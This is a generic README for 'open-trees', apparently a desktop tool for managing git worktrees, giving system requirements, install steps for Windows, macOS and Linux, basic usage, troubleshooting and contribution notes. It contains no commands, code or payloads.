
🚀 Getting Started
Welcome to open-trees, a handy tool designed to help you manage your git worktrees effortlessly. Whether you’re new to Git or a bit more experienced, open-trees simplifies the process of handling multiple work environments.
🛠️ System Requirements
To run open-trees, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS 10.13 or later, or any Linux distribution that supports .NET Core.
- Disk Space: At least 100 MB of free space.
- Internet Connection: Required for downloading the application and updates.
📥 Download & Install
To get started with open-trees, follow these steps:
-
Visit the Release Page: Go to the GitHub Releases page.
-
Choose Your Version: Find the latest version available. Look for options that indicate compatibility with your operating system (Windows, macOS, Linux).
- Download the File:
- Click on the file name to download it. The file will typically be in .exe format for Windows, .dmg for macOS, or a .tar.gz file for Linux.
- Run the Installer:
- For Windows: Double-click the downloaded file and follow the prompts to install.
- For macOS: Open the downloaded .dmg file, drag the open-trees app to your Applications folder.
- For Linux: Extract the .tar.gz file. Open a terminal, navigate to the extracted folder, and run the provided installation script.
- Launch the Application: After installation, open the application from your applications menu or desktop shortcut.
📖 How to Use open-trees
Once you’ve installed open-trees, it’s straightforward to start managing your git worktrees:
- Create a New Worktree:
- Open the application.
- Click on “Create Worktree”.
- Select your main repository folder and the new worktree location.
- Switch Between Worktrees:
- Use the interface to view your active worktrees.
- Click on any worktree to switch to it.
- Delete a Worktree:
- Select the worktree you wish to remove.
- Click “Delete Worktree”.
- Additional Features:
- You can view the status of each worktree.
- Easily view and manage branches from the interface.
🔧 Troubleshooting
If you encounter any issues, here are some common solutions:
- Application Won’t Start: Ensure your system meets the system requirements listed above.
- Issues with Downloading: Check your internet connection and try downloading again from here.
- Feature Requests or Bugs: If you find a bug or have suggestions, please reach out via the ‘Issues’ tab in our repository.
Your privacy matters to us. open-trees does not collect personal data. All operations are local and managed directly on your machine.
🤝 Contributing
We welcome contributions from the community. If you would like to help improve open-trees, please follow these steps:
- Fork the repository on GitHub.
- Make your changes.
- Submit a pull request explaining your changes.
📞 Support
If you need assistance beyond what is covered in this guide, please feel free to contact us through the Issues section of the repository or by email.
🔗 Useful Links
Thank you for choosing open-trees for managing your git worktrees! Happy coding!